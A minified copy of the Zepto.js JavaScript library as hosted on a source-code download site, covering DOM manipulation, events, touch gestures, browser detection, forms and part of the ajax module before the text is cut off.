www.gusucode.com > 生成头像游戏微信朋友圈小游戏源码程序 > 生成头像游戏微信朋友圈小游戏源码程序/bsqpz/figuremsg/zepto.min.js

    var Zepto=function(){function a(b){return null==b?String(b):L[T.call(b)]||"object"}function e(b){return"function"==a(b)}function f(b){return null!=b&&b==b.window}function c(b){return null!=b&&b.nodeType==b.DOCUMENT_NODE}function n(b){return"object"==a(b)}function s(b){return n(b)&&!f(b)&&Object.getPrototypeOf(b)==Object.prototype}function r(b){return b instanceof Array}function l(b){return"number"==typeof b.length}function v(b){return t.call(b,function(b){return null!=b})}function h(b){return b.replace(/::/g,"/").replace(/([A-Z]+)([A-Z][a-z])/g,"$1_$2").replace(/([a-z\d])([A-Z])/g,"$1_$2").replace(/_/g,"-").toLowerCase()}function z(b){return b in I?I[b]:I[b]=RegExp("(^|\\s)"+b+"(\\s|$)")}function k(b){return"children"in b?D.call(b.children):d.map(b.childNodes,function(b){if(1==b.nodeType)return b})}function C(b,G,a){for(q in G)a&&(s(G[q])||r(G[q]))?(s(G[q])&&!s(b[q])&&(b[q]={}),r(G[q])&&!r(b[q])&&(b[q]=[]),C(b[q],G[q],a)):G[q]!==m&&(b[q]=G[q])}function y(b,a){return null==a?d(b):d(b).filter(a)}function u(b,a,A,d){return e(a)?a.call(b,A,d):a}function w(b,a){var A=b.className,d=A&&A.baseVal!==m;if(a===m)return d?A.baseVal:A;d?A.baseVal=a:b.className=a}function E(b){var a;try{return b?"true"==b||("false"==b?!1:"null"==b?null:!isNaN(a=Number(b))?a:/^[\[\{]/.test(b)?d.parseJSON(b):b):b}catch(A){return b}}function g(b,a){a(b);for(var A in b.childNodes)g(b.childNodes[A],a)}var m,q,d,F,x=[],D=x.slice,t=x.filter,p=window.document,H={},I={},N={"column-count":1,columns:1,"font-weight":1,"line-height":1,opacity:1,"z-index":1,zoom:1},O=/^\s*<(\w+|!)[^>]*>/,U=/^<(\w+)\s*\/?>(?:<\/\1>|)$/,V=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/ig,P=/^(?:body|html)$/i,W="val css html text data width height offset".split(" "),M=p.createElement("table"),Q=p.createElement("tr"),R={tr:p.createElement("tbody"),tbody:M,thead:M,tfoot:M,td:Q,th:Q,"*":p.createElement("div")},X=/complete|loaded|interactive/,Y=/^\.([\w-]+)$/,Z=/^#([\w-]*)$/,aa=/^[\w-]+$/,L={},T=L.toString,B={},J,K,S=p.createElement("div");B.matches=function(b,a){if(!b||1!==b.nodeType)return!1;var A=b.webkitMatchesSelector||b.mozMatchesSelector||b.oMatchesSelector||b.matchesSelector;if(A)return A.call(b,a);var d;d=b.parentNode;(A=!d)&&(d=S).appendChild(b);d=~B.qsa(d,a).indexOf(b);A&&S.removeChild(b);return d};J=function(b){return b.replace(/-+(.)?/g,function(b,a){return a?a.toUpperCase():""})};K=function(b){return t.call(b,function(a,d){return b.indexOf(a)==d})};B.fragment=function(b,a,A){var g,c,f;U.test(b)&&(g=d(p.createElement(RegExp.$1)));g||(b.replace&&(b=b.replace(V,"<$1></$2>")),a===m&&(a=O.test(b)&&RegExp.$1),a in R||(a="*"),f=R[a],f.innerHTML=""+b,g=d.each(D.call(f.childNodes),function(){f.removeChild(this)}));s(A)&&(c=d(g),d.each(A,function(b,a){if(-1<W.indexOf(b))c[b](a);else c.attr(b,a)}));return g};B.Z=function(b,a){b=b||[];b.__proto__=d.fn;b.selector=a||"";return b};B.isZ=function(b){return b instanceof B.Z};B.init=function(b,a){if(b){if(e(b))return d(p).ready(b);if(B.isZ(b))return b;var A;if(r(b))A=v(b);else if(n(b))A=[b],b=null;else if(O.test(b))A=B.fragment(b.trim(),RegExp.$1,a),b=null;else{if(a!==m)return d(a).find(b);A=B.qsa(p,b)}return B.Z(A,b)}return B.Z()};d=function(b,a){return B.init(b,a)};d.extend=function(b){var a,d=D.call(arguments,1);"boolean"==typeof b&&(a=b,b=d.shift());d.forEach(function(d){C(b,d,a)});return b};B.qsa=function(b,a){var d;return c(b)&&Z.test(a)?(d=b.getElementById(RegExp.$1))?[d]:[]:1!==b.nodeType&&9!==b.nodeType?[]:D.call(Y.test(a)?b.getElementsByClassName(RegExp.$1):aa.test(a)?b.getElementsByTagName(a):b.querySelectorAll(a))};d.contains=function(b,a){return b!==a&&b.contains(a)};d.type=a;d.isFunction=e;d.isWindow=f;d.isArray=r;d.isPlainObject=s;d.isEmptyObject=function(b){for(var a in b)return!1;return!0};d.inArray=function(b,a,d){return x.indexOf.call(a,b,d)};d.camelCase=J;d.trim=function(b){return null==b?"":String.prototype.trim.call(b)};d.uuid=0;d.support={};d.expr={};d.map=function(b,a){var g,c=[],p;if(l(b))for(p=0;p<b.length;p++)g=a(b[p],p),null!=g&&c.push(g);else for(p in b)g=a(b[p],p),null!=g&&c.push(g);return 0<c.length?d.fn.concat.apply([],c):c};d.each=function(b,a){var d;if(l(b))for(d=0;d<b.length&&!1!==a.call(b[d],d,b[d]);d++);else for(d in b)if(!1===a.call(b[d],d,b[d]))break;return b};d.grep=function(b,a){return t.call(b,a)};window.JSON&&(d.parseJSON=JSON.parse);d.each("Boolean Number String Function Array Date RegExp Object Error".split(" "),function(b,a){L["[object "+a+"]"]=a.toLowerCase()});d.fn={forEach:x.forEach,reduce:x.reduce,push:x.push,sort:x.sort,indexOf:x.indexOf,concat:x.concat,map:function(b){return d(d.map(this,function(a,d){return b.call(a,d,a)}))},slice:function(){return d(D.apply(this,arguments))},ready:function(b){X.test(p.readyState)?b(d):p.addEventListener("DOMContentLoaded",function(){b(d)},!1);return this},get:function(b){return b===m?D.call(this):this[0<=b?b:b+this.length]},toArray:function(){return this.get()},size:function(){return this.length},remove:function(){return this.each(function(){null!=this.parentNode&&this.parentNode.removeChild(this)})},each:function(b){x.every.call(this,function(a,d){return!1!==b.call(a,d,a)});return this},filter:function(b){return e(b)?this.not(this.not(b)):d(t.call(this,function(a){return B.matches(a,b)}))},add:function(b,a){return d(K(this.concat(d(b,a))))},is:function(b){return 0<this.length&&B.matches(this[0],b)},not:function(b){var a=[];if(e(b)&&b.call!==m)this.each(function(d){b.call(this,d)||a.push(this)});else{var g="string"==typeof b?this.filter(b):l(b)&&e(b.item)?D.call(b):d(b);this.forEach(function(b){0>g.indexOf(b)&&a.push(b)})}return d(a)},has:function(b){return this.filter(function(){return n(b)?d.contains(this,b):d(this).find(b).size()})},eq:function(b){return-1===b?this.slice(b):this.slice(b,+b+1)},first:function(){var b=this[0];return b&&!n(b)?b:d(b)},last:function(){var b=this[this.length-1];return b&&!n(b)?b:d(b)},find:function(b){var a=this;return"object"==typeof b?d(b).filter(function(){var b=this;return x.some.call(a,function(a){return d.contains(a,b)})}):1==this.length?d(B.qsa(this[0],b)):this.map(function(){return B.qsa(this,b)})},closest:function(b,a){var g=this[0],p=!1;for("object"==typeof b&&(p=d(b));g&&!(p?0<=p.indexOf(g):B.matches(g,b));)g=g!==a&&!c(g)&&g.parentNode;return d(g)},parents:function(b){for(var a=[],g=this;0<g.length;)g=d.map(g,function(b){if((b=b.parentNode)&&!c(b)&&0>a.indexOf(b))return a.push(b),b});return y(a,b)},parent:function(b){return y(K(this.pluck("parentNode")),b)},children:function(b){return y(this.map(function(){return k(this)}),b)},contents:function(){return this.map(function(){return D.call(this.childNodes)})},siblings:function(b){return y(this.map(function(b,a){return t.call(k(a.parentNode),function(b){return b!==a})}),b)},empty:function(){return this.each(function(){this.innerHTML=""})},pluck:function(b){return d.map(this,function(a){return a[b]})},show:function(){return this.each(function(){"none"==this.style.display&&(this.style.display="");if("none"==getComputedStyle(this,"").getPropertyValue("display")){var b=this.style,a=this.nodeName,d,g;H[a]||(d=p.createElement(a),p.body.appendChild(d),g=getComputedStyle(d,"").getPropertyValue("display"),d.parentNode.removeChild(d),"none"==g&&(g="block"),H[a]=g);b.display=H[a]}})},replaceWith:function(b){return this.before(b).remove()},wrap:function(b){var a=e(b);if(this[0]&&!a)var g=d(b).get(0),c=g.parentNode||1<this.length;return this.each(function(p){d(this).wrapAll(a?b.call(this,p):c?g.cloneNode(!0):g)})},wrapAll:function(b){if(this[0]){d(this[0]).before(b=d(b));for(var a;(a=b.children()).length;)b=a.first();d(b).append(this)}return this},wrapInner:function(b){var a=e(b);return this.each(function(g){var c=d(this),p=c.contents();g=a?b.call(this,g):b;p.length?p.wrapAll(g):c.append(g)})},unwrap:function(){this.parent().each(function(){d(this).replaceWith(d(this).children())});return this},clone:function(){return this.map(function(){return this.cloneNode(!0)})},hide:function(){return this.css("display","none")},toggle:function(b){return this.each(function(){var a=d(this);(b===m?"none"==a.css("display"):b)?a.show():a.hide()})},prev:function(b){return d(this.pluck("previousElementSibling")).filter(b||"*")},next:function(b){return d(this.pluck("nextElementSibling")).filter(b||"*")},html:function(b){return 0===arguments.length?0<this.length?this[0].innerHTML:null:this.each(function(a){var g=this.innerHTML;d(this).empty().append(u(this,b,a,g))})},text:function(b){return 0===arguments.length?0<this.length?this[0].textContent:null:this.each(function(){this.textContent=b===m?"":""+b})},attr:function(b,a){var d;return"string"==typeof b&&a===m?0==this.length||1!==this[0].nodeType?m:"value"==b&&"INPUT"==this[0].nodeName?this.val():!(d=this[0].getAttribute(b))&&b in this[0]?this[0][b]:d:this.each(function(d){if(1===this.nodeType)if(n(b))for(q in b){d=q;var g=b[q];null==g?this.removeAttribute(d):this.setAttribute(d,g)}else d=u(this,a,d,this.getAttribute(b)),null==d?this.removeAttribute(b):this.setAttribute(b,d)})},removeAttr:function(b){return this.each(function(){1===this.nodeType&&this.removeAttribute(b)})},prop:function(b,a){return a===m?this[0]&&this[0][b]:this.each(function(d){this[b]=u(this,a,d,this[b])})},data:function(b,a){var d=this.attr("data-"+h(b),a);return null!==d?E(d):m},val:function(b){return 0===arguments.length?this[0]&&(this[0].multiple?d(this[0]).find("option").filter(function(b){return this.selected}).pluck("value"):this[0].value):this.each(function(a){this.value=u(this,b,a,this.value)})},offset:function(b){if(b)return this.each(function(a){var g=d(this);a=u(this,b,a,g.offset());var c=g.offsetParent().offset();a={top:a.top-c.top,left:a.left-c.left};"static"==g.css("position")&&(a.position="relative");g.css(a)});if(0==this.length)return null;var a=this[0].getBoundingClientRect();return{left:a.left+window.pageXOffset,top:a.top+window.pageYOffset,width:Math.round(a.width),height:Math.round(a.height)}},css:function(b,g){if(2>arguments.length){var c=this[0],p=getComputedStyle(c,"");if(!c)return;if("string"==typeof b)return c.style[J(b)]||p.getPropertyValue(b);if(r(b)){var f={};d.each(r(b)?b:[b],function(b,a){f[a]=c.style[J(a)]||p.getPropertyValue(a)});return f}}var t="";if("string"==a(b))!g&&0!==g?this.each(function(){this.style.removeProperty(h(b))}):t=h(b)+":"+("number"==typeof g&&!N[h(b)]?g+"px":g);else for(q in b)!b[q]&&0!==b[q]?this.each(function(){this.style.removeProperty(h(q))}):t+=h(q)+":"+("number"==typeof b[q]&&!N[h(q)]?b[q]+"px":b[q])+";";return this.each(function(){this.style.cssText+=";"+t})},index:function(b){return b?this.indexOf(d(b)[0]):this.parent().children().indexOf(this[0])},hasClass:function(b){return x.some.call(this,function(b){return this.test(w(b))},z(b))},addClass:function(b){return this.each(function(a){F=[];var g=w(this);u(this,b,a,g).split(/\s+/g).forEach(function(b){d(this).hasClass(b)||F.push(b)},this);F.length&&w(this,g+(g?" ":"")+F.join(" "))})},removeClass:function(b){return this.each(function(a){if(b===m)return w(this,"");F=w(this);u(this,b,a,F).split(/\s+/g).forEach(function(b){F=F.replace(z(b)," ")});w(this,F.trim())})},toggleClass:function(b,a){return this.each(function(g){var c=d(this);u(this,b,g,w(this)).split(/\s+/g).forEach(function(b){(a===m?!c.hasClass(b):a)?c.addClass(b):c.removeClass(b)})})},scrollTop:function(b){if(this.length){var a="scrollTop"in this[0];return b===m?a?this[0].scrollTop:this[0].pageYOffset:this.each(a?function(){this.scrollTop=b}:function(){this.scrollTo(this.scrollX,b)})}},position:function(){if(this.length){var b=this[0],a=this.offsetParent(),g=this.offset(),c=P.test(a[0].nodeName)?{top:0,left:0}:a.offset();g.top-=parseFloat(d(b).css("margin-top"))||0;g.left-=parseFloat(d(b).css("margin-left"))||0;c.top+=parseFloat(d(a[0]).css("border-top-width"))||0;c.left+=parseFloat(d(a[0]).css("border-left-width"))||0;return{top:g.top-c.top,left:g.left-c.left}}},offsetParent:function(){return this.map(function(){for(var b=this.offsetParent||p.body;b&&!P.test(b.nodeName)&&"static"==d(b).css("position");)b=b.offsetParent;return b})}};d.fn.detach=d.fn.remove;["width","height"].forEach(function(b){var a=b.replace(/./,function(b){return b[0].toUpperCase()});d.fn[b]=function(g){var p,t=this[0];return g===m?f(t)?t["inner"+a]:c(t)?t.documentElement["scroll"+a]:(p=this.offset())&&p[b]:this.each(function(a){t=d(this);t.css(b,u(this,g,a,t[b]()))})}});["after","prepend","before","append"].forEach(function(b,c){var p=c%2;d.fn[b]=function(){var b,f=d.map(arguments,function(g){b=a(g);return"object"==b||"array"==b||null==g?g:B.fragment(g)}),t,m=1<this.length;return 1>f.length?this:this.each(function(b,a){t=p?a:a.parentNode;a=0==c?a.nextSibling:1==c?a.firstChild:2==c?a:null;f.forEach(function(b){if(m)b=b.cloneNode(!0);else if(!t)return d(b).remove();g(t.insertBefore(b,a),function(b){null!=b.nodeName&&("SCRIPT"===b.nodeName.toUpperCase()&&(!b.type||"text/javascript"===b.type)&&!b.src)&&window.eval.call(window,b.innerHTML)})})})};d.fn[p?b+"To":"insert"+(c?"Before":"After")]=function(a){d(a)[b](this);return this}});B.Z.prototype=d.fn;B.uniq=K;B.deserializeValue=E;d.zepto=B;return d}();window.Zepto=Zepto;void 0===window.$&&(window.$=Zepto);(function(a){function e(c){c=a(c);return!(!c.width()&&!c.height())&&"none"!==c.css("display")}function f(a,c){a=a.replace(/=#\]/g,'="#"]');var f,e,h=l.exec(a);h&&h[2]in r&&(f=r[h[2]],e=h[3],a=h[1],e&&(h=Number(e),e=isNaN(h)?e.replace(/^["']|["']$/g,""):h));return c(a,f,e)}var c=a.zepto,n=c.qsa,s=c.matches,r=a.expr[":"]={visible:function(){if(e(this))return this},hidden:function(){if(!e(this))return this},selected:function(){if(this.selected)return this},checked:function(){if(this.checked)return this},parent:function(){return this.parentNode},first:function(a){if(0===a)return this},last:function(a,c){if(a===c.length-1)return this},eq:function(a,c,f){if(a===f)return this},contains:function(c,f,e){if(-1<a(this).text().indexOf(e))return this},has:function(a,f,e){if(c.qsa(this,e).length)return this}},l=/(.*):(\w+)(?:\(([^)]+)\))?$\s*/,v=/^\s*>/,h="Zepto"+ +new Date;c.qsa=function(e,l){return f(l,function(f,s,u){try{var r;!f&&s?f="*":v.test(f)&&(r=a(e).addClass(h),f="."+h+" "+f);var E=n(e,f)}catch(g){throw console.error("error performing selector: %o",l),g;}finally{r&&r.removeClass(h)}return!s?E:c.uniq(a.map(E,function(a,g){return s.call(a,g,E,u)}))})};c.matches=function(a,c){return f(c,function(c,f,e){return(!c||s(a,c))&&(!f||f.call(a,null,e)===a)})}})(Zepto);(function(a){function e(a){return a._zid||(a._zid=z++)}function f(a,f,q,d){f=c(f);if(f.ns)var l=RegExp("(?:^| )"+f.ns.replace(" "," .* ?")+"(?: |$)");return(h[e(a)]||[]).filter(function(a){return a&&(!f.e||a.e==f.e)&&(!f.ns||l.test(a.ns))&&(!q||e(a.fn)===e(q))&&(!d||a.sel==d)})}function c(a){a=(""+a).split(".");return{e:a[0],ns:a.slice(1).sort().join(" ")}}function n(g,c,f){"string"!=a.type(g)?a.each(g,f):g.split(/\s/).forEach(function(a){f(a,c)})}function s(g,f,q,d,l,u){var z=e(g),t=h[z]||(h[z]=[]);n(f,q,function(f,e){var m=c(f);m.fn=e;m.sel=d;m.e in C&&(e=function(g){var d=g.relatedTarget;if(!d||d!==this&&!a.contains(this,d))return m.fn.apply(this,arguments)});m.del=l&&l(e,f);var h=m.del||e;m.proxy=function(a){var d=h.apply(g,[a].concat(a.data));!1===d&&(a.preventDefault(),a.stopPropagation());return d};m.i=t.length;t.push(m);"addEventListener"in g&&g.addEventListener(C[m.e]||m.e,m.proxy,m.del&&("focus"==m.e||"blur"==m.e)||!!u)})}function r(a,c,q,d,l){var u=e(a);n(c||"",q,function(c,t){f(a,c,t,d).forEach(function(d){delete h[u][d.i];"removeEventListener"in a&&a.removeEventListener(C[d.e]||d.e,d.proxy,d.del&&("focus"==d.e||"blur"==d.e)||!!l)})})}function l(g){var c,f={originalEvent:g};for(c in g)!w.test(c)&&void 0!==g[c]&&(f[c]=g[c]);a.each(E,function(a,c){f[a]=function(){this[c]=y;return g[a].apply(g,arguments)};f[c]=u});return f}function v(a){if(!("defaultPrevented"in a)){a.defaultPrevented=!1;var c=a.preventDefault;a.preventDefault=function(){a.defaultPrevented=!0;c.call(a)}}}var h={},z=1,k={},C={mouseenter:"mouseover",mouseleave:"mouseout"};k.click=k.mousedown=k.mouseup=k.mousemove="MouseEvents";a.event={add:s,remove:r};a.proxy=function(c,f){if(a.isFunction(c)){var h=function(){return c.apply(f,arguments)};h._zid=e(c);return h}if("string"==typeof f)return a.proxy(c[f],c);throw new TypeError("expected function");};a.fn.bind=function(a,c){return this.each(function(){s(this,a,c)})};a.fn.unbind=function(a,c){return this.each(function(){r(this,a,c)})};a.fn.one=function(a,c){return this.each(function(f,d){s(this,a,c,null,function(a,c){return function(){var g=a.apply(d,arguments);r(d,c,a);return g}})})};var y=function(){return!0},u=function(){return!1},w=/^([A-Z]|layer[XY]$)/,E={preventDefault:"isDefaultPrevented",stopImmediatePropagation:"isImmediatePropagationStopped",stopPropagation:"isPropagationStopped"};a.fn.delegate=function(c,f,e){return this.each(function(d,h){s(h,f,e,c,function(d){return function(f){var t,p=a(f.target).closest(c,h).get(0);if(p)return t=a.extend(l(f),{currentTarget:p,liveFired:h}),d.apply(p,[t].concat([].slice.call(arguments,1)))}})})};a.fn.undelegate=function(a,c,f){return this.each(function(){r(this,c,f,a)})};a.fn.live=function(c,f){a(document.body).delegate(this.selector,c,f);return this};a.fn.die=function(c,f){a(document.body).undelegate(this.selector,c,f);return this};a.fn.on=function(c,f,e){return!f||a.isFunction(f)?this.bind(c,f||e):this.delegate(f,c,e)};a.fn.off=function(c,f,e){return!f||a.isFunction(f)?this.unbind(c,f||e):this.undelegate(f,c,e)};a.fn.trigger=function(c,f){if("string"==typeof c||a.isPlainObject(c))c=a.Event(c);v(c);c.data=f;return this.each(function(){"dispatchEvent"in this?this.dispatchEvent(c):a(this).triggerHandler(c,f)})};a.fn.triggerHandler=function(c,e){var h,d;this.each(function(n,u){h=l("string"==typeof c?a.Event(c):c);h.data=e;h.target=u;a.each(f(u,c.type||c),function(a,c){d=c.proxy(h);if(h.isImmediatePropagationStopped())return!1})});return d};"focusin focusout load resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select keydown keypress keyup error".split(" ").forEach(function(c){a.fn[c]=function(a){return a?this.bind(c,a):this.trigger(c)}});["focus","blur"].forEach(function(c){a.fn[c]=function(a){a?this.bind(c,a):this.each(function(){try{this[c]()}catch(a){}});return this}});a.Event=function(a,c){"string"!=typeof a&&(c=a,a=c.type);var f=document.createEvent(k[a]||"Events"),d=!0;if(c)for(var e in c)"bubbles"==e?d=!!c[e]:f[e]=c[e];f.initEvent(a,d,!0);f.isDefaultPrevented=function(){return f.defaultPrevented};return f}})(Zepto);(function(a){function e(){l=null;c.last&&(c.el.trigger("longTap"),c={})}function f(){n&&clearTimeout(n);s&&clearTimeout(s);r&&clearTimeout(r);l&&clearTimeout(l);n=s=r=l=null;c={}}var c={},n,s,r,l,v;a(document).ready(function(){var h,z,k=0,C=0,y;"MSGesture"in window&&(v=new MSGesture,v.target=document.body);a(document).bind("MSGestureEnd",function(a){if(a=1<a.velocityX?"Right":-1>a.velocityX?"Left":1<a.velocityY?"Down":-1>a.velocityY?"Up":null)c.el.trigger("swipe"),c.el.trigger("swipe"+a)}).on("touchstart MSPointerDown",function(f){if("MSPointerDown"!=f.type||f.pointerType==f.MSPOINTER_TYPE_TOUCH&&f.isPrimary)y="MSPointerDown"==f.type?f:f.touches[0],h=Date.now(),z=h-(c.last||h),c.el=a("tagName"in y.target?y.target:y.target.parentNode),n&&clearTimeout(n),c.x1=y.pageX,c.y1=y.pageY,0<z&&250>=z&&(c.isDoubleTap=!0),c.last=h,l=setTimeout(e,750),v&&"MSPointerDown"==f.type&&v.addPointer(f.pointerId)}).on("touchmove MSPointerMove",function(a){if("MSPointerMove"!=a.type||a.pointerType==a.MSPOINTER_TYPE_TOUCH&&a.isPrimary)y="MSPointerMove"==a.type?a:a.touches[0],l&&clearTimeout(l),l=null,c.x2=y.pageX,c.y2=y.pageY,k+=Math.abs(c.x1-c.x2),C+=Math.abs(c.y1-c.y2)}).on("touchend MSPointerUp",function(e){if("MSPointerUp"!=e.type||e.pointerType==e.MSPOINTER_TYPE_TOUCH&&e.isPrimary)l&&clearTimeout(l),l=null,c.x2&&30<Math.abs(c.x1-c.x2)||c.y2&&30<Math.abs(c.y1-c.y2)?r=setTimeout(function(){c.el.trigger("swipe");c.el.trigger("swipe"+(Math.abs(c.x1-c.x2)>=Math.abs(c.y1-c.y2)?0<c.x1-c.x2?"Left":"Right":0<c.y1-c.y2?"Up":"Down"));c={}},0):"last"in c&&(30>k&&30>C?s=setTimeout(function(){var e=a.Event("tap");e.cancelTouch=f;c.el.trigger(e);c.isDoubleTap?(c.el.trigger("doubleTap"),c={}):n=setTimeout(function(){n=null;c.el.trigger("singleTap");c={}},250)},0):c={}),k=C=0}).on("touchcancel MSPointerCancel",f);a(window).on("scroll",f)});"swipe swipeLeft swipeRight swipeUp swipeDown doubleTap tap singleTap longTap".split(" ").forEach(function(c){a.fn[c]=function(a){return this.on(c,a)}})})(Zepto);(function(a){function e(a){var c=this.os={},e=this.browser={},s=a.match(/WebKit\/([\d.]+)/),r=a.match(/(Android);?\s+([\d.]+)?/),l=a.match(/(iPad).*OS\s([\d_]+)/),v=a.match(/(iPod)(.*OS\s([\d_]+))?/),h=!l&&a.match(/(iPhone\sOS)\s([\d_]+)/),z=a.match(/(webOS|hpwOS)[\s\/]([\d.]+)/),k=z&&a.match(/TouchPad/),C=a.match(/Kindle\/([\d.]+)/),y=a.match(/Silk\/([\d._]+)/),u=a.match(/(BlackBerry).*Version\/([\d.]+)/),w=a.match(/(BB10).*Version\/([\d.]+)/),E=a.match(/(RIM\sTablet\sOS)\s([\d.]+)/),g=a.match(/PlayBook/),m=a.match(/Chrome\/([\d.]+)/)||a.match(/CriOS\/([\d.]+)/),q=a.match(/Firefox\/([\d.]+)/),d=a.match(/MSIE ([\d.]+)/),F=s&&a.match(/Mobile\//)&&!m,x=a.match(/(iPhone|iPod|iPad).*AppleWebKit(?!.*Safari)/)&&!m,d=a.match(/MSIE\s([\d.]+)/);if(e.webkit=!!s)e.version=s[1];r&&(c.android=!0,c.version=r[2]);h&&!v&&(c.ios=c.iphone=!0,c.version=h[2].replace(/_/g,"."));l&&(c.ios=c.ipad=!0,c.version=l[2].replace(/_/g,"."));v&&(c.ios=c.ipod=!0,c.version=v[3]?v[3].replace(/_/g,"."):null);z&&(c.webos=!0,c.version=z[2]);k&&(c.touchpad=!0);u&&(c.blackberry=!0,c.version=u[2]);w&&(c.bb10=!0,c.version=w[2]);E&&(c.rimtabletos=!0,c.version=E[2]);g&&(e.playbook=!0);C&&(c.kindle=!0,c.version=C[1]);y&&(e.silk=!0,e.version=y[1]);!y&&(c.android&&a.match(/Kindle Fire/))&&(e.silk=!0);m&&(e.chrome=!0,e.version=m[1]);q&&(e.firefox=!0,e.version=q[1]);d&&(e.ie=!0,e.version=d[1]);if(F&&(a.match(/Safari/)||c.ios))e.safari=!0;x&&(e.webview=!0);d&&(e.ie=!0,e.version=d[1]);c.tablet=!(!l&&!g&&!(r&&!a.match(/Mobile/)||q&&a.match(/Tablet/)||d&&!a.match(/Phone/)&&a.match(/Touch/)));c.phone=!(c.tablet||c.ipod||!r&&!h&&!z&&!u&&!w&&!(m&&a.match(/Android/)||m&&a.match(/CriOS\/([\d.]+)/)||q&&a.match(/Mobile/)||d&&a.match(/Touch/)))}e.call(a,navigator.userAgent);a.__detect=e})(Zepto);(function(a){a.fn.serializeArray=function(){var e=[],f;a([].slice.call(this.get(0).elements)).each(function(){f=a(this);var c=f.attr("type");"fieldset"!=this.nodeName.toLowerCase()&&(!this.disabled&&"submit"!=c&&"reset"!=c&&"button"!=c&&("radio"!=c&&"checkbox"!=c||this.checked))&&e.push({name:f.attr("name"),value:f.val()})});return e};a.fn.serialize=function(){var a=[];this.serializeArray().forEach(function(f){a.push(encodeURIComponent(f.name)+"="+encodeURIComponent(f.value))});return a.join("&")};a.fn.submit=function(e){e?this.bind("submit",e):this.length&&(e=a.Event("submit"),this.eq(0).trigger(e),e.defaultPrevented||this.get(0).submit());return this}})(Zepto);(function(a){function e(c,d,f,e){if(c.global)return c=d||u,f=a.Event(f),a(c).trigger(f,e),!f.defaultPrevented}function f(c){c.global&&0===a.active++&&e(c,null,"ajaxStart")}function c(a,c){var d=c.context;if(!1===c.beforeSend.call(d,a,c)||!1===e(c,d,"ajaxBeforeSend",[a,c]))return!1;e(c,d,"ajaxSend",[a,c])}function n(a,c,d){var f=d.context;d.success.call(f,a,"success",c);e(d,f,"ajaxSuccess",[c,d,a]);r("success",c,d)}function s(a,c,d,f){var g=f.context;f.error.call(g,d,c,a);e(f,g,"ajaxError",[d,f,a||c]);r(c,d,f)}function r(c,d,f){var g=f.context;f.complete.call(g,d,c);e(f,g,"ajaxComplete",[d,f]);f.global&&!--a.active&&e(f,null,"ajaxStop")}function l(){}function v(a){a&&(a=a.split(";",2)[0]);return a&&(a==F?"html":a==d?"json":m.test(a)?"script":q.test(a)&&"xml")||"text"}function h(a,c){return""==c?a:(a+"&"+c).replace(/[&?]{1,2}/,"?")}function z(c){c.processData&&(c.data&&"string"!=a.type(c.data))&&(c.data=a.param(c.data,c.traditional));if(c.data&&(!c.type||"GET"==c.type.toUpperCase()))c.url=h(c.url,c.data)}function k(c,d,f,e){var g=!a.isFunction(d);return{url:c,data:g?d:void 0,success:!g?d:a.isFunction(f)?f:void 0,dataType:g?e||f:f}}function C(c,d,f,e){var g,h=a.isArray(d);a.each(d,function(d,p){g=a.type(p);e&&(d=f?e:e+"["+(h?"":d)+"]");!e&&h?c.add(p.name,p.value):"array"==g||!f&&"object"==g?C(c,p,f,d):c.add(d,p)})}var y=0,u=window.document,w,E,g=/<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi,m=/^(?:text|application)\/javascript/i,q=/^(?:text|application)\/xml/i,d="application/json",F="text/html",x=/^\s*$/;a.active=0;a.ajaxJSONP=function(d){if(!("type"in d))return a.ajax(d);var f=d.jsonpCallback,e=(a.isFunction(f)?f():f)||"jsonp"+ ++y,g=u.createElement("script"),h=function(){clearTimeout(z);a(g).remove();delete window[e]},m=function(a){h();if(!a||"timeout"==a)window[e]=l;s(null,a||"abort",q,d)},q={abort:m},z;if(!1===c(q,d))return m("abort"),!1;window[e]=function(a){h();n(a,q,d)};g.onerror=function(){m("error")};g.src=d.url.replace(/=\?/,"="+e);a("head").append(g);0<d.timeout&&(z=setTimeout(function(){m("timeout")},d.timeout));return q};a.ajaxSettings={type:"GET",beforeSend:l,success:l,error:l,complete:l,context:null,global:!0,xhr:function(){return new window.XMLHttpRequest},accepts:{script:"text/javascript, application/javascript",json:d,xml:"application/xml, text/xml",html:F,text:"text/plain"},crossDomain:!1,timeout:0,processData:!0,cache:!0};a.ajax=function(d){var e=a.extend({},d||{});for(w in a.ajaxSettings)void 0===e[w]&&(e[w]=a.ajaxSettings[w]);f(e);e.crossDomain||(e.crossDomain=/^([\w-]+:)?\/\/([^\/]+)/.test(e.url)&&RegExp.$2!=window.location.host);e.url||(e.url=window.location.toString());z(e);!1===e.cache&&(e.url=h(e.url,"_="+Date.now()));var g=e.dataType;d=/=\?/.test(e.url);if("jsonp"==g||d)return d||(e.url=h(e.url,e.jsonp?e.jsonp+"=?":!1===e.jsonp?"":"callback=?")),a.ajaxJSONP(e);d=e.accepts[g];var m={},q=/^([\w-]+:)\/\//.test(e.url)?RegExp.$1:window.location.protocol,k=e.xhr(),r;e.crossDomain||(m["X-Requested-With"]="XMLHttpRequest");d&&(m.Accept=d,-1<d.indexOf(",")&&(d=d.split(",",2)[0]),k.overrideMimeType&&k.overrideMimeType(d));if(e.contentType||!1!==e.contentType&&e.data&&"GET"!=e.type.toUpperCase())m["Content-Type"]=e.contentType||"application/x-www-form-urlencoded";e.headers=a.extend(m,e.headers||{});k.onreadystatechange=function(){if(4==k.readyState){k.onreadystatechange=l;clearTimeout(r);var c,d=!1;if(200<=k.status&&300>k.status||304==k.status||0==k.status&&"file:"==q){g=g||v(k.getResponseHeader("content-type"));c=k.responseText;try{"script"==g?(0,eval)(c):"xml"==g?c=k.responseXML:"json"==g&&(c=x.test(c)?null:a.parseJSON(c))}catch(f){d=f}d?s(d,"parsererror",k,e):n(c,k,e)}else s(k.statusText||null,k.status?"error":"abort",k,e)}};k.open(e.type,e.url,"async"in e?e.async:!0);for(E in e.headers)k.setRequestHeader(E,e.headers[E]);if(!1===c(k,e))return k.abort(),!1;0<e.timeout&&(r=setTimeout(function(){k.onreadystatechange=l;k.abort();s(null,"timeout",k,e)},e.timeout));k.send(e.data?e.data:null);return k};a.get=function(c,d,f,e){return a.ajax(k.apply(null,arguments))};a.post=function(c,d,f,e){var g=k.apply(null,arguments);g.type="POST";return a.ajax(g)};a.getJSON=function(c,d,f){var e=k.apply(null,arguments);e.dataType="json";return a.ajax(e)};a.fn.load=function(c,d,f){if(!this.length)return this;var 